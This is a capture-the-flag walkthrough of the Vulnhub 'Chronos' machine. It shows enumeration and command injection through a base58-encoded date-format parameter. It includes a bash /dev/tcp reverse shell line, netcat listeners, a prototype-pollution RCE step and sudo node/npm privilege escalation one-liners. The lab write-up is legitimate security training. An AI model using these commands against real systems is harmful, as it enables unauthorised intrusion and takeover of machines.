chronos vulnhub writeup walkthrough

Chronos Walkthrough – Vulnhub – Writeup

Chronos is an easy/medium machine from Vulnhub by AL1ENUM. This machine is quite different from the usual easy machines. Also, I have tested this machine in VirtualBox. “Chronos Walkthrough – Vulnhub – Writeup”

Link to the machine:,735/

Bluemoon 2021 Walkthrough – Vulnhub – Writeup

Identify the target

Firstly, we have to identify the IP address of the target machine.

sudo netdiscover -r
The IP address of the target

Scan open ports

Next, we have to scan the open ports on the target. This would give us knowledge about the exposed services.

sudo nmap -v -T4 -p- -A -oN nmap.log
Nmap scan results

Here, we can see two webservers, Apache and Node.js Express.

Enumerate webserver

The default page of the webserver doesn’t have anything to do currently.

The default page

So, let’s check the source of the page.

Page source reveals the hostname and a URL

On the page source, we see a hostname and a URL to check. Therefore, we have to add the host to our /etc/hosts file.

sudo vim /etc/hosts
Added hostname to /etc/hosts

Next, if I visit the aforementioned URL, we see a response of permission denied. That’s because it checks for a certain User-Agent. We can get this idea by looking further in the same code. We can confirm this by visiting the webserver in port 8000.

User-agent is updated to Chronos

As we can see above, the User-Agent is Chronos instead of Mozilla Firefox. In a general scenario, we get the user agent as the client from which the resource is requested. For instance, the homepage has a user-agent Mozilla.

User-agent of the default page

So, this means that, while sending the XHR request, the user agent is being changed. Now, let’s decode the parameter “format”.


When I fed the cyphertext to the website, it gave me that this is a base58 code.

Identified as base58

Therefore, I decoded it using the same website. However, you can try a different tool like CyberChef.

Decoded base58 text

Aside from this method, there is another way to identify the cypher type. Please check ProxyProgrammer’s video for this.

Remote command injection

Let’s revisit the decoded message.

'+Today is %A, %B %d, %Y %H:%M:%S.'

If you haven’t seen this anywhere, this is an argument for the Linux command “date”. For example, if you use the date command as follows, you will get the same exact result as the application.

date '+Today is %A, %B %d, %Y %H:%M:%S.'
Use of date command with the argument (remember the + sign)

Thus, this gives us an idea that there might be a possible use of the date command in the web application. Therefore, we can now bypass this feature and execute the command. I will listen on port 9001 and do a CURL request. To do so, we have to encode the command in the base58 format and execute the request.

To listen on port 9001:

nc -nlvp 9001

The actual command to inject:


The base58 encoded command.


We can update the format parameter from the repeater of the Burp suite with the encoded command.

Got the hit

Command to get the reverse shell:

;bash -c 'bash -i >& /dev/tcp/ 0>&1'

Encoded command:

Got the shell

Next, I upgraded the shell. Check the following link.

Upgrade to an intelligent reverse shell

User privilege escalation

In the directory /opt, we see another version of the same webapp.


We see a vulnerable version of express-fileupload that suffers from prototype pollution resulting in RCE.

Pacakge.json for backend
Express-fileupload in the application

Check the following link for the exploit code.

cd /tmp
Code of

Then, I opened port 9002 using netcat in my local machine.

nc -nlvp 9002

So, I executed the exploit as follows.

Exploit executed

This gave me the user’s access.

The shell of the user imera

I also upgraded the shell as before.

Root privilege escalation

There is one way to perform root privilege escalation on the target. The user has permission to execute the binary node as root. In addition to these, the user can also execute npm as root, however, this couldn’t land me a root shell. Likewise, we also cannot escalate using the group lxd on this target.

RPE using npm (doesn’t work)


TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/bash"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i

This should give a root shell as per gtfobins, but it doesn’t.

RPE using node


sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
Root shell using node

RPE using lxd (Doesn’t work)


Firstly, we have to check if lxd and lxc are present on the target.

which lxc
which lxd
Presence of lxc and lxd binaries

On the target machine, we have to do the following steps. However, if you have already done these types of exploits, you can just switch to the directory and serve it.

# Install dependencies
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

# Clone repo
go get -d -v 

# Make distrobuilder
cd $HOME/go/src/

# Prepare the creation of alpine       
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/      

# Create the container
sudo /home/kali/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

# Serve the directory
python3 -m http.server

On the target machine, we have to get the images.

# Get the images

# Import images
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list # You can see your new imported image

# Initialze the container
lxc init alpine privesc -c security.privileged=true

We get an issue that we have to initialize lxd.

Issue about LXD init
The issue that cannot give us the root privileges


Despite having three possible ways to get root access, we can only exploit node binary. Overall, the machine is quite good.

0 0 votes
Article Rating
Notify of
Newest Most Voted
Inline Feedbacks
View all comments